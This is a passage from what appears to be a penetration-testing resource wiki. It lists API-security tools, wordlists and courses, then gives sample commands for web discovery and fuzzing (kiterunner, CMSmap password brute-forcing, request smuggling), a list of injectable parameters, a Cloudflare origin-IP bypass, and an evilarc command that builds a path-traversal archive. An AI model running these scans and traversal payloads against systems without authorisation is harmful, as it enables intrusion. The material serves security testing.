| [Hacking-APIs](https://github.com/hAPI-hacker/Hacking-APIs)                                                                            | Wordlists and API paths by @hapi\_hacker                                                                                                |
| [Kiterunner Wordlists](https://github.com/assetnote/wordlists/blob/master/data/kiterunner.json)                                        | Kiterunner Wordlists provided by Assetnote                                                                                              |
| [List of API endpoints & objects](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)                             | A list of 3203 common API endpoints and objects designed for fuzzing.                                                                   |
| [List of Swagger endpoints](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/swagger.txt)                  | Swagger endpoints                                                                                                                       |
| [SecLists for API's web-content discovery](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content/api)           | It is a collection of web content discovery lists for APIs used during security assessments.                                            |
| [GraphQL wordlist](https://github.com/Escape-Technologies/graphql-wordlist)                                                            | The only GraphQL wordlist you'll ever need. Operations, field names, type names... Collected on more than 60k distinct GraphQL schemas. |

### HTTP 101

| Name                                                                                                       | Description                                                                                                                                 |
| ---------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------- |
| [Know your HTTP Headers!](http://prezo.s3.amazonaws.com/pixi_california_2018/basics/headers.pdf)           | HTTP Headers: a simplified and comprehensive table.                                                                                         |
| [Know your HTTP Methods!](http://prezo.s3.amazonaws.com/pixi_california_2018/basics/methods.pdf)           | HTTP Methods: a simplified and comprehensive table.                                                                                         |
| [Know your HTTP Status codes!](http://prezo.s3.amazonaws.com/pixi_california_2018/basics/status-codes.pdf) | HTTP Status codes: a simplified and comprehensive table.                                                                                    |
| [HTTP Status Codes](https://httpstatuses.com/)                                                             | httpstatuses.com is an easy to reference database of HTTP Status Codes with their definitions and helpful code references all in one place. |
| [Know your HTTP \* Well](https://github.com/for-GET/know-your-http-well)                                   | HTTP headers, media-types, methods, relations and status codes, all summarized and linking to their specification.                          |

### Mind maps

| Author                                                 | Name                                                                                                                                                       | Description                                            |
| ------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------ |
| [Abhay Bhargav](https://twitter.com/abhaybhargav)      | [REST API defenses](https://mobile.twitter.com/abhaybhargav/status/1373982049019654149/photo/1)                                                            | Mind map: REST API defenses                            |
| [Cypro AB](https://github.com/cyprosecurity)           | [API Pentesting - ATTACK](https://github.com/cyprosecurity/API-SecurityEmpire/blob/main/assets/API%20Pentesting%20Mindmap%20ATTACK.pdf)                    | Mind map: API Pentesting - ATTACK                      |
| [Cypro AB](https://github.com/cyprosecurity)           | [API Pentesting - Recon](https://github.com/cyprosecurity/API-SecurityEmpire/blob/main/assets/API%20Pentesting%20Mindmap.pdf)                              | Mind map: API Pentesting - Recon                       |
| [Cypro AB](https://github.com/cyprosecurity)           | [GraphQL Attacking](https://github.com/cyprosecurity/API-SecurityEmpire/blob/main/assets/API%20Pentesting%20Mindmap%20%7B%7BGraphQL%20Attacking%7D%7D.pdf) | Mind map: GraphQL Attacking                            |
| [David Sopas](https://github.com/dsopas)               | [MindAPI](https://dsopas.github.io/MindAPI/play/)                                                                                                          | Organize your API security assessment by using MindAPI |
| [Harsh Bothra](https://github.com/muffyhub)            | [XML attacks](https://www.xmind.net/m/xNEY9b/)                                                                                                             | Mind map: XML attacks                                  |
| [Mosaad Sallam](https://github.com/h0tak88r))          | [GraphQL Security Testing](https://github.com/h0tak88r/Sec_Mind_Maps/blob/main/GraphQL%20Security%20Testing.pdf)                                           | Mind map: GraphQL Security Testing                     |
| [Mosaad Sallam](https://github.com/h0tak88r))          | [OWASP API Top10](https://github.com/h0tak88r/Sec_Mind_Maps/blob/main/OWASP%20API%20TOP%2010.pdf)                                                          | Mind map: OWASP API Top 10                             |
| [Mufaddal Masalawala](https://github.com/harsh-bothra) | [IDOR Techniques](https://www.xmind.net/m/CSKSWZ/)                                                                                                         | Mind map: IDOR Techniques                              |

### Newsletters

| Author   | Name                                                         | Description                                                                             |
| -------- | ------------------------------------------------------------ | --------------------------------------------------------------------------------------- |
| 42Crunch | [api security articles](https://apisecurity.io/#newsletter1) | API Security Articles - The Latest API Security News, Vulnerabilities & Best Practices. |
| Dana Epp | [api hacker’s inner circle](https://apihacker.blog/)         | API Hacker’s Inner Circle Newsletter.                                                   |

### Other resources

| Name                                                                                                                                                                                                      | Author             | Description                                                                                                                                                                      |
| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [API Hacking Articles](https://danaepp.com/blog)                                                                                                                                                          | Dana Epp           | API Hacking Fundamentals, Tools, Techniques, Fails and Mindset articles.                                                                                                         |
| [API Security best practices guide](https://expeditedsecurity.com/api-security-best-practices-megaguide)                                                                                                  | Expedited Security | API Security Best Practices MegaGuide                                                                                                                                            |
| [API Security: The Complete Guide](https://brightsec.com/blog/api-security)                                                                                                                               | Bright Security    | API Security, The Complete Guide                                                                                                                                                 |
| [API Penetration Testing](https://blog.securelayer7.net/api-penetration-testing-with-owasp-2017-test-cases)                                                                                               | SecureLayer7       | API Penetration Testing with OWASP 2017 Test Cases.                                                                                                                              |
| [API Penetration Testing Report](https://underdefense.com/wp-content/uploads/2019/05/Anonymised-API-Penetration-Testing-Report.pdf)                                                                       | UnderDefense       | Anonymised API Penetration Testing Report - vendor sample template                                                                                                               |
| [API Pentesting with Swagger Files](https://rhinosecuritylabs.com/application-security/simplifying-api-pentesting-swagger-files/)                                                                         | RhinoSecurityLabs  | Simplifying API Pentesting With Swagger Files.                                                                                                                                   |
| [API security path resources](https://dsopas.github.io/MindAPI/references/)                                                                                                                               | MindAPI            | Resources to help out in the API security path; diverse content from talks/webinards/videos, must read, writeups, bola/idors, oauth, jwt, rate limit, ssrf and practice entries. |
| [API Security Testing](https://sphericaldefence.com/api-security-testing)                                                                                                                                 | Spherical Defence  | Principles of API Security Testing and how to perform a Security Test on an API.                                                                                                 |
| [Finding and Exploiting Web App APIs](https://bendtheory.medium.com/finding-and-exploiting-unintended-functionality-in-main-web-app-apis-6eca3ef000af)                                                    | Bend Theory        | Finding and Exploiting Unintended Functionality in Main Web App APIs                                                                                                             |
| [How to Hack an API and Get Away with It](https://smartbear.com/blog/test-and-monitor/api-security-testing-how-to-hack-an-api-part-1/)                                                                    | SmartBear          | How to Hack an API and Get Away with It (Part 1 of 3).                                                                                                                           |
| [How to Hack APIs in 2021](https://labs.detectify.com/2021/08/10/how-to-hack-apis-in-2021)                                                                                                                | Detectify          | How to Hack APIs in 2021                                                                                                                                                         |
| [How to Hack API in 60 minutes with Open Source Tools](https://www.wallarm.com/what/how-to-hack-api-in-60-minutes-with-open-source)                                                                       | Wallarm            | How to Hack API in 60 minutes with Open Source Tools                                                                                                                             |
| [GraphQL penetration testing](https://blog.yeswehack.com/yeswerhackers/how-exploit-graphql-endpoint-bug-bounty/)                                                                                          | YesWeHAck          | How to exploit GraphQL endpoint: introspection, query, mutations & tools.                                                                                                        |
| [Fixing the 13 most common GraphQL Vulnerabilities](https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready) | WunderGraph        | GraphQL Security Guide, Fixing the 13 most common GraphQL Vulnerabilities to make your API production ready.                                                                     |
| [Hacking APIs - Notes from Bug Bounty Bootcamp](https://attacker-codeninja.github.io/2021-08-28-Hacking-APIs-notes-from-bug-bounty-bootcamp/)                                                             | Aakash Choudhary   | My Notes on Hacking APIs from Bug Bounty Bootcamp.                                                                                                                               |
| [SOAP Security Vulnerabilities and Prevention](https://www.neuralegion.com/blog/top-7-soap-api-vulnerabilities/)                                                                                          | NeuraLegion        | SOAP Security, Top Vulnerabilities and How to Prevent Them.                                                                                                                      |
| [API and microservice security](https://portswigger.net/burp/vulnerability-scanner/api-security-testing/guide-to-api-microservice-security)                                                               | PortSwigger        | What are API and microservice security?                                                                                                                                          |
| [Strengthening Your API Security Posture](https://42crunch.com/knowledge-series/strengthening-api-security-posture/)                                                                                      | 42Crunch           | Strengthening Your API Security Posture – Ford Motor Company.                                                                                                                    |
| [The Fault in Our Stars](https://www.tenchisecurity.com/blog/thefaultinourstars)                                                                                                                          | Tenchi Security    | Security Implications of AWS API Gateway Lambda Authorizers and IAM Wildcard Expansion.                                                                                          |

### Playlists

| Name                                                                                               | Description                                                                                                            |
| -------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------- |
| [Everything API Hacking](https://www.youtube.com/playlist?list=PLbyncTkpno5HqX1h2MnV6Qt4wvTb8Mpol) | A video collection from Katie Paxton-Fear, @InsiderPhD, and other people creating a playlist of API hacking knowledge! |
| [API hacking](https://www.youtube.com/c/TheXSSrat/search?query=API%20hacking)                      | API hacking videos from @theXSSrat                                                                                     |

### Podcasts

| Name                                                                                                                    | Description                                                    |
| ----------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------- |
| [Hacking APIs](https://forallsecure.com/blog/the-hacker-mind-podcast-hacking-apis)                                      | The Hacker Mind Podcast: Hacking APIs                          |
| [Hack Your API-Security Testing](https://testguild.com/podcast/automation/21-troy-hunt-hack-your-api-security-testing/) | 21: Troy Hunt: Hack Your API-Security Testing.                 |
| [The OWASP API Security Project](https://podcast.securityjourney.com/erez-yalon-the-owasp-api-security-project/)        | Erez Yalon — The OWASP API Security Project                    |
| [Episode 38 API Security Best Practices](https://wehackpurple.com/podcast/episode-38-api-security-best-practices/)      | We Hack Purple Podcast Episode 38 API Security Best Practices. |

### Presentations, Videos

| Name                                                                                                                                           | Description                                                                                  |
| ---------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------- |
| [pentesting-rest-apis](https://www.slideshare.net/OWASPdelhi/pentesting-rest-apis-by-gaurang-bhatnagar)                                        | Pentesting Rest API's by Gaurang Bhatnagar                                                   |
| [Securing your APIs](https://owasp.org/www-chapter-singapore/assets/presos/Securing_your_APIs_-_OWASP_API_Top_10_2019,_Real-life_Case.pdf)     | "How Secure are you APIs?" - Securing your APIs: OWASP API Top 10 2019, Case Study and Demo. |
| [api-security-testing-for-hackers](https://www.bugcrowd.com/resources/webinars/api-security-testing-for-hackers)                               | API Security Testing For Hackers                                                             |
| [bad-api-hapi-hackers](https://www.bugcrowd.com/resources/webinars/bad-api-hapi-hackers)                                                       | Bad API, hAPI Hackers!                                                                       |
| [disclosing-information-via-your-apis](https://www.bugcrowd.com/resources/webinars/hidden-in-plain-site-disclosing-information-via-your-apis/) | Hidden in Plain Site: Disclosing Information via Your APIs.                                  |
| [rest-in-peace-abusing-graphql](https://www.bugcrowd.com/resources/webinars/rest-in-peace-abusing-graphql-to-attack-underlying-infrastructure) | REST in Peace: Abusing GraphQL to Attack Underlying Infrastructure.                          |

### Projects

| Name                                                                      | Description                                      |
| ------------------------------------------------------------------------- | ------------------------------------------------ |
| [owasp api security project](https://owasp.org/www-project-api-security/) | OWASP API Security Project - API Security Top 10 |

### Security APIs

| Name                                                               | Description                                                |
| ------------------------------------------------------------------ | ---------------------------------------------------------- |
| [awesome-security-apis](https://github.com/jaegeral/security-apis) | A collective list of public JSON APIs for use in security. |

### Specifications

| Name                                                                       | Description                 |
| -------------------------------------------------------------------------- | --------------------------- |
| [API Blueprint](https://apiblueprint.org/documentation/specification.html) | API Blueprint Specification |
| [AscyncAPI](https://www.asyncapi.com/docs/specifications/latest)           | AsyncAPI Specification      |
| [OpenAPI](https://swagger.io/specification/)                               | OpenAPI Specification       |
| [JSON API](https://jsonapi.org/format/)                                    | JSON API Specification      |
| [GraphQL](https://spec.graphql.org/)                                       | GraphQL Specification       |
| [RAML](https://github.com/raml-org/raml-spec)                              | RAML Specification          |

### Tools

| Name                                                                              | Description                                                                                                                                                                                                            |
| --------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|                                                                                   |                                                                                                                                                                                                                        |
| **GraphQL**                                                                       |                                                                                                                                                                                                                        |
| [BatchQL](https://github.com/assetnote/batchql)                                   | GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations.                                                                                                                       |
| [clairvoyance](https://github.com/nikitastupin/clairvoyance)                      | Obtain GraphQL API schema despite disabled introspection!                                                                                                                                                              |
| [InQL](https://github.com/doyensec/inql)                                          | InQL - A Burp Extension for GraphQL Security Testing.                                                                                                                                                                  |
| [graphinder](https://github.com/Escape-Technologies/graphinder)                   | Blazing fast GraphQL endpoints finder using subdomain enumeration, scripts analysis and bruteforce.                                                                                                                    |
| [graphql-cop](https://github.com/dolevf/graphql-cop)                              | Security Auditor Utility for GraphQL APIs.                                                                                                                                                                             |
| [GraphQLmap](https://github.com/swisskyrepo/GraphQLmap)                           | GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes.                                                                                                                          |
| [graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum)                 | Tool that lists the different ways of reaching a given type in a GraphQL schema.                                                                                                                                       |
| [graphql-playground](https://github.com/graphql/graphql-playground)               | GraphQL IDE for better development workflows (GraphQL Subscriptions, interactive docs & collaboration)                                                                                                                 |
| [graphql-threat-matrix](https://github.com/nicholasaleks/graphql-threat-matrix)   | GraphQL threat framework used by security professionals to research security gaps in GraphQL implementations.                                                                                                          |
| [graphw00f](https://github.com/dolevf/graphw00f)                                  | graphw00f is GraphQL Server Engine Fingerprinting utility for software security professionals looking to learn more about what technology is behind a given GraphQL endpoint.                                          |
| [goctopus](https://github.com/Escape-Technologies/goctopus)                       | Blazing fast GraphQL discovery & fingerprinting toolbox.                                                                                                                                                               |
| [graphql-armor](https://github.com/Escape-Technologies/graphql-armor)             | The missing GraphQL security security layer for Apollo GraphQL and Yoga / Envelop servers                                                                                                                              |
|                                                                                   |                                                                                                                                                                                                                        |
| **REST APIs**                                                                     |                                                                                                                                                                                                                        |
| [Akto](https://github.com/akto-api-security/akto)                                 | API discovery, automated business logic testing and runtime detection                                                                                                                                                  |
| [APICheck](https://bbva.github.io/apicheck/)                                      | The DevSecOps toolset for REST APIs.                                                                                                                                                                                   |
| [APIClarity](https://github.com/apiclarity/apiclarity)                            | Reconstruct Open API Specifications from real-time workload traffic seamlessly.                                                                                                                                        |
| [APIFuzzer](https://github.com/KissPeter/APIFuzzer)                               | Fuzz test your application using your OpenAPI or Swagger API definition without coding.                                                                                                                                |
| [APIKit](https://github.com/API-Security/APIKit)                                  | APIKit：Discovery, Scan and Audit APIs Toolkit All In One.                                                                                                                                                              |
| [Arjun](https://github.com/s0md3v/Arjun)                                          | HTTP parameter discovery suite.                                                                                                                                                                                        |
| [Astra](https://github.com/flipkart-incubator/Astra)                              | Automated Security Testing For REST API's.                                                                                                                                                                             |
| [Automatic API Attack Tool](https://github.com/imperva/automatic-api-attack-tool) | Imperva's customizable API attack tool takes an API specification as an input, generates and runs attacks that are based on it as an output.                                                                           |
| [CATS](https://github.com/Endava/cats)                                            | CATS is a REST API Fuzzer and negative testing tool for OpenAPI endpoints.                                                                                                                                             |
| [Cherrybomb](https://github.com/blst-security/cherrybomb)                         | Stop half-done API specifications with a CLI tool that helps you avoid undefined user behaviour by validating your API specifications.                                                                                 |
| [ffuf](https://github.com/ffuf/ffuf)                                              | Fast web fuzzer written in Go.                                                                                                                                                                                         |
| [fuzzapi](https://github.com/Fuzzapi/fuzzapi)                                     | Fuzzapi is a tool used for REST API pentesting anTnT-Fuzzerd uses API\_Fuzzer gem.                                                                                                                                     |
| [gotestwaf](https://github.com/wallarm/gotestwaf)                                 | An open-source project in Golang to test different web application firewalls (WAF) for detection logic and bypasses                                                                                                    |
| [kiterunner](https://github.com/assetnote/kiterunner)                             | Contextual Content Discovery Tool.                                                                                                                                                                                     |
| [Metlo](https://github.com/metlo-labs/metlo)                                      | Open-source API security tool to discover, inventory, test, and protect your APIs.                                                                                                                                     |
| [mitmproxy2swagger](https://github.com/alufers/mitmproxy2swagger)                 | Automagically reverse-engineer REST APIs via capturing traffic                                                                                                                                                         |
| [Optic](https://github.com/opticdev/optic)                                        | Verify the accuracy of your OpenAPI 3.x spec using real traffic and automatically apply patches that keep it up-to-date                                                                                                |
| [OFFAT](https://github.com/OWASP/OFFAT)                                           | The OWASP OFFAT tool autonomously assesses your API for prevalent vulnerabilities, though full compatibility with OAS v3 is pending. The project remains a work in progress, continuously evolving towards completion. |
| [REST-Attacker](https://github.com/RUB-NDS/REST-Attacker)                         | Designed as a proof-of-concept for the feasibility of testing generic real-world REST implementations. Its goal is to provide a framework for REST security research.                                                  |
| [RESTler](https://github.com/microsoft/restler-fuzzer)                            | RESTler is the first stateful REST API fuzzing tool for automatically testing cloud services through their REST APIs and finding security and reliability bugs in these services.                                      |
| [Swagger-EZ](https://github.com/RhinoSecurityLabs/Swagger-EZ)                     | A tool geared towards pentesting APIs using OpenAPI definitions.                                                                                                                                                       |
| [TnT-Fuzzer](https://github.com/Teebytes/TnT-Fuzzer)                              | OpenAPI 2.0 (Swagger) fuzzer written in python. Basically TnT for your API.                                                                                                                                            |
| [wadl-dumper](https://github.com/dwisiswant0/wadl-dumper)                         | Dump all available paths and/or endpoints on WADL file.                                                                                                                                                                |
| [fuzz-lightyear](https://github.com/Yelp/fuzz-lightyear)                          | A pytest-inspired, DAST framework, capable of identifying vulnerabilities in a distributed, micro-service ecosystem through chaos engineering testing and stateful, Swagger fuzzing.                                   |
|                                                                                   |                                                                                                                                                                                                                        |
| **SOAP**                                                                          |                                                                                                                                                                                                                        |
| [Wsdler](https://github.com/NetSPI/Wsdler)                                        | WSDL Parser extension for Burp.                                                                                                                                                                                        |
| [wsdl-wizard](https://github.com/portswigger/wsdl-wizard)                         | WSDL Wizard is a Burp Suite plugin written in Python to detect current and discover new WSDL (Web Service Definition Language) files.                                                                                  |
|                                                                                   |                                                                                                                                                                                                                        |
| **Others**                                                                        |                                                                                                                                                                                                                        |
| [dredd](https://github.com/apiaryio/dredd)                                        | Language-agnostic HTTP API Testing Tool                                                                                                                                                                                |
| [getallurls (gau)](https://github.com/lc/gau)                                     | Fetch known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl.                                                                                                                        |
| [SoapUI](https://github.com/SmartBear/soapui)                                     | SoapUI is a free and open-source cross-platform functional testing solution for APIs and web services.                                                                                                                 |
| [Step CI](https://github.com/stepci/stepci)                                       | Open-source framework for API Quality Assurance, which tests REST, GraphQL and gRPC automated and from Open API spec.                                                                                                  |
| [unfurl](https://github.com/tomnomnom/unfurl)                                     | Pull out bits of URLs provided on stdin                                                                                                                                                                                |
| [noir](https://github.com/hahwul/noir)                                            | Noir is an attack surface detector form source code.                                                                                                                                                                   |

### Training, Workshops, Labs

| Author            | Name                                                                                                                  | Description                                                                                                                                                                   |
| ----------------- | --------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APIsec            | [API Security University](https://university.apisec.ai/)                                                              | APIsec University provides training courses for application security professionals                                                                                            |
| Corey Ball        | [Hacking APIs](https://sway.office.com/HVrL2AXUlWGNDHqy)                                                              | Hacking APIs: workshop                                                                                                                                                        |
| Escape            | [API Security Academy](https://escape.tech/academy/)                                                                  | API Security Academy, by escape                                                                                                                                               |
| Grant Ongers      | [API top 10 walkthrough](https://securedelivery.io/articles/api-top-ten-walkthrough/)                                 | OWASP API Top 10 CTF Walk-through.                                                                                                                                            |
| Hacker101         | [GraphQL challenges](https://www.hackerone.com/ethical-hacker/graphql-week-hacker101-capture-flag-challenges)         | GraphQL Week on The Hacker101 Capture the Flag Challenges                                                                                                                     |
| Karel Husa        | [BankGround API](https://bankground.eu/)                                                                              | Banking-like REST and GraphQL API for training/learning purposes.                                                                                                             |
| Kontra            | [OWASP Top 10 for API](https://application.security/free/owasp-top-10-API)                                            | Is a series of free interactive application security training modules that teach developers how to identify and mitigate security vulnerabilities in their web API endpoints. |
| OWASP-SKF         | [GraphQL Labs](https://demo.securityknowledgeframework.org/labs/view)                                                 | GraphQL Labs on the OWASP Security Knowledge Framework                                                                                                                        |
| Pentester Academy | [API security, REST Labs](https://attackdefense.pentesteracademy.com/listing?labtype=rest\&subtype=rest-api-security) | Pentester Academy - attack & defense                                                                                                                                          |
| Semgrep Academy   | [API Security Mini Course](https://academy.semgrep.dev/courses/api-security-mini-course)                              | Learn the basics of API security in this short and fun mini course!                                                                                                           |
| ShipFast          | [Practical API Security Walkthrough](https://github.com/approov/shipfast-api-protection)                              | Learn practical Mobile and API security techniques: API Key, Static and Dynamic HMAC, Dynamic Certificate Pinning, and Mobile App Attestation.                                |
| Wesley Thijs      | [Let's build an API to hack](https://hackxpert.com/blog/API-Hacking-Excercises/)                                      | API Hacking Excercises by @TheXSSrat                                                                                                                                          |

### Twitter

| Author            | Name                                                | Description                                           |
| ----------------- | --------------------------------------------------- | ----------------------------------------------------- |
| 42Crunch          | [@apisecurityio](https://twitter.com/apisecurityio) | API security news, standards, vulnerabilities, tools. |
| Corey J. Ball     | [@hAPI\_hacker](https://twitter.com/hAPI_hacker)    | Cybersecurity consulting manager                      |
| Dana Epp          | [@ddǝɐuɐp](https://twitter.com/danaepp)             | Microsoft Security MVP                                |
| David Sopas       | [@dsopas](https://twitter.com/dsopas)               | Security Researcher                                   |
| Katie Paxton-Fear | [@InsiderPhD](https://twitter.com/InsiderPhD)       | Lecturer and hacker                                   |
| Wesley Thijs      | [@theXSSrat](https://twitter.com/theXSSrat)         | Ethical hacker                                        |

<br>


# Web Discovery

[**ApacheTomcatScanner**](https://github.com/p0dalirius/ApacheTomcatScanner)**:** A python script to scan for Apache Tomcat server vulnerabilities.

![](/files/o4yLfHfi6jsppaELPVGN)

[**bypass-cf**](https://github.com/Roni-Carta/cf-bypass): This tool is a simple bypass for a website running Cloudflare by finding the Origin IP of the domain. By doing so we are able to access the website without going trough Cloudflare's IP.

{% embed url="<https://github.com/Roni-Carta/cf-bypass/blob/main/src/cf-bypass.sh>" %}
&#x20;This tool is a simple bypass for a website running Cloudflare by finding the Origin IP of the domain. By doing so we are able to access the website without going trough Cloudflare's IP&#x20;
{% endembed %}

[**dirsearch**](https://github.com/maurosoria/dirsearch)**:** Dirsearch is a mature command-line tool designed to brute force directories and files in webservers.

[**feroxbuster:**](https://github.com/epi052/feroxbuster) A simple, fast, recursive content discovery tool written in Rust.

```
feroxbuster -H "User-Agent: PENTEST" -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.10.10/
```

![](/files/-MX6UQio4KmG3bwSpCs3)

[**kiterunner**](https://github.com/assetnote/kiterunner)**:** Contextual Content Discovery Tool. Kiterunner is a tool that is capable of not only performing traditional content discovery at lightning fast speeds, but also bruteforcing routes/endpoints in modern applications.

```
# Just have a list of hosts and no wordlist
kr scan hosts.txt -A=apiroutes-210328:20000 -x 5 -j 100 --fail-status-codes 400,401,404,403,501,502,426,411

# You have your own wordlist but you want assetnote wordlists too
kr scan target.com -w routes.kite -A=apiroutes-210328:20000 -x 20 -j 1 --fail-status-codes 400,401,404,403,501,502,426,411

# Bruteforce like normal but with the first 20000 words
kr brute https://target.com/subapp/ -A=aspx-210328:20000 -x 20 -j 1

# Use a dirsearch style wordlist with %EXT%
kr brute https://target.com/subapp/ -w dirsearch.txt -x 20 -j 1 -exml,asp,aspx,ashx -D
```

[**CMSmap**](https://github.com/Dionach/CMSmap)**:** CMSmap is a python open source CMS scanner that automates the process of detecting security flaws of the most popular CMSs. The main purpose of CMSmap is to integrate common vulnerabilities for different types of CMSs in a single tool.

```
cmsmap.py https://example.com
cmsmap.py https://example.com -f W -F --noedb -d
cmsmap.py https://example.com -i targets.txt -o output.txt
cmsmap.py https://example.com -u admin -p passwords.txt
cmsmap.py -k hashes.txt -w passwords.txt
```

[**droopescan**](https://github.com/droope/droopescan)**:** A plugin-based scanner that aids security researchers in identifying issues with several CMS (SilverStripe, WordPress, Drupal).

[**drupwn**](https://github.com/immunIT/drupwn): Drupwn claims to provide an efficient way to gather drupal information.

[![asciicast](https://asciinema.org/a/5InNWAotigwM4bRscUi7yKAtt.svg)](https://asciinema.org/a/5InNWAotigwM4bRscUi7yKAtt)

[**magescan**](https://github.com/steverobbins/magescan): The idea behind this is to evaluate the quality and security of a Magento site you don't have access to. The scenario when you're interviewing a potential developer or vetting a new client and want to have an idea of what you're getting into.

[**moodlescan**](https://github.com/inc0d3/moodlescan): Tool for scan vulnerabilities in Moodle platforms.&#x20;

[**wpscan**](https://github.com/wpscanteam/wpscan): WPScan WordPress security scanner. Written for security professionals and blog maintainers to test the security of their WordPress websites.

[**IIS-ShortName-Scanner**](https://github.com/irsdl/IIS-ShortName-Scanner): The latest version of scanner for IIS short file name (8.3) disclosure vulnerability by using the tilde (\~) character.

```
- Example 0 (to see if the target is vulnerable):
 java -jar iis_shortname_scanner.jar http://example.com/folder/
 
 - Example 2 (uses 20 threads - recommended):
 java -jar iis_shortname_scanner.jar 2 20 http://example.com/folder/new%20folder/
```

[**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor): During reconnaissance (recon) it is often helpful to get a quick overview of all the relative endpoints in a file.

```
cat demo-file.js | ./extract.rb
...
/vulnerability-coordination-maturity-model/user_data
/mail_subscriptions/update_monthly_digest_subscription
/subscription.json?subscribe=true
/subscription.json?subscribe=false
/terms/finder
/resources/download-web-hacking-101
/settings/reputation/log
/plugins/servlet/webhooks
/secure/project/ViewProjects.jspa
...
```

[**XSStrike**](https://github.com/s0md3v/XSStrike): Most advanced XSS scanner.

![](/files/-MX2UslQol3tveWizyAY)

[**xsscrapy**](https://github.com/DanMcInerney/xsscrapy)**:** XSS spider - 66/66 wavsep XSS detected.

[**dalfox**](https://github.com/hahwul/dalfox)**:** DalFox(Finder Of XSS) / Parameter Analysis and XSS Scanning tool based on golang.

![](/files/-MY4sYtZDAjYRHrp3L5F)

[**nginxpwner**](https://github.com/stark0de/nginxpwner)**:** Nginxpwner is a simple tool to look for common Nginx misconfigurations and vulnerabilities.

![](/files/-MZwNucFdw1xwYV3Wdeu)


# Web Fuzzing

**ffuf:** A fast web fuzzer written in Go.

```
ffuf -w /path/to/wordlist -u https://target/FUZZ
```

[**Arjun**](https://github.com/s0md3v/Arjun)**:** This tool can find query parameters for URL enpoints. If you don't get what that means, it's okay, read along.

```
arjun -u https://api.example.com/endpoint
```

[**vaf**](https://github.com/d4rckh/vaf)**:** very advanced (web) fuzzer.

![](/files/-MZwUbjxuAePRkcac8Pp)

&#x20;[**parameth**](https://github.com/maK-/parameth)**:** This tool can be used to brute discover GET and POST parameters.

&#x20;[**ParamSpider**](https://github.com/devanshbatham/ParamSpider)**:** Mining parameters from dark corners of Web Archives.

![](/files/-MY4srEigYtXv3VnbVwk)

&#x20;[**smuggler**](https://github.com/defparam/smuggler): An HTTP Request Smuggling / Desync testing tool written in Python 3.

```
python3 smuggler.py -u <URL>
```

Reference: <https://raw.githubusercontent.com/gwen001/pentest-tools/master/smuggler.py>

[**DirDar**](https://github.com/blackhatethicalhacking/DirDar): DirDar is a tool that searches for (403-Forbidden) directories to break it and get dir listing on it.

[![asciicast](https://asciinema.org/a/391851.svg)](https://asciinema.org/a/391851)

&#x20;[**HackBar**](https://github.com/d3vilbug/HackBar)**:** HackBar plugin for Burpsuite.

![](/files/-MYEu8nLmpzXhWB3Rh9t)

**x8-Burp:** Discovering hidden parameters with burp.

{% embed url="<https://github.com/Impact-I/x8-Burp>" %}

[**jsql-injection**](https://github.com/ron190/jsql-injection)**:** jSQL Injection is a Java application for automatic SQL database injection.

![](/files/-MYM03x-Kn_uVgQSC3pk)

[**HTTP Request Smuggling Detection Tool**](https://github.com/anshumanpattnaik/http-request-smuggling)

![](/files/-MgwSsu4t-UreoUZSOnj)

## Bonus

{% embed url="<https://github.com/lutfumertceylan/top25-parameter>" %}

```
/cgi-bin/redirect.cgi?{payload}
/login?to={payload}
/out/{payload}
/out?{payload}
/redirect/{payload}
?action={payload}
?arg={payload}
?begindate={payload}
?board={payload}
?cat={payload}
?category={payload}
?categoryid={payload}
?checkout_url={payload}
?class={payload}
?cmd={payload}
?code={payload}
?command={payload}
?conf={payload}
?content={payload}
?continue={payload}
?date={payload}
?dest={payload}
?destination={payload}
?detail={payload}
?dir={payload}
?do={payload}
?doc={payload}
?document={payload}
?download={payload}
?email={payload}
?enddate={payload}
?exe={payload}
?exec={payload}
?execute={payload}
?feature={payload}
?file={payload}
?folder={payload}
?form={payload}
?func={payload}
?function={payload}
?go={payload}
?id={payload}
?image_url={payload}
?immagine={payload}
?inc={payload}
?include={payload}
?item={payload}
?join={payload}
?jump={payload}
?key={payload}
?keyword={payload}
?keywords={payload}
?l={payload}
?lang={payload}
?layout={payload}
?list_type={payload}
?load={payload}
?locate={payload}
?main={payload}
?menu={payload}
?mod={payload}
?module={payload}
?month={payload}
?name={payload}
?nav={payload}
?news={payload}
?next={payload}
?option={payload}
?p={payload}
?page={payload}
?path={payload}
?payload={payload}
?ping={payload}
?prefix={payload}
?print={payload}
?process={payload}
?q={payload}
?query={payload}
?read={payload}
?redir={payload}
?redirect={payload}
?redirect_uri={payload}
?ref={payload}
?reg={payload}
?region={payload}
?req={payload}
?return={payload}
?returnTo={payload}
?return_path={payload}
?return_to={payload}
?run={payload}
?rurl={payload}
?s={payload}
?search={payload}
?show={payload}
?site={payload}
?step={payload}
?target={payload}
?terms={payload}
?thread={payload}
?title={payload}
?topic={payload}
?type={payload}
?url={payload}
?view={payload}
?year={payload}
```

{% embed url="<https://github.com/afwu/leaky-paths>" %}


# Path Traversal

[**evilarc**](https://github.com/ptoomey3/evilarc)**:** evilarc lets you create a zip file that contains files with directory traversal characters in their embedded path.

```
python evilarc.py -d 2 -p 'testFolder\' -o win -f winexpl.tar testUpload.txt
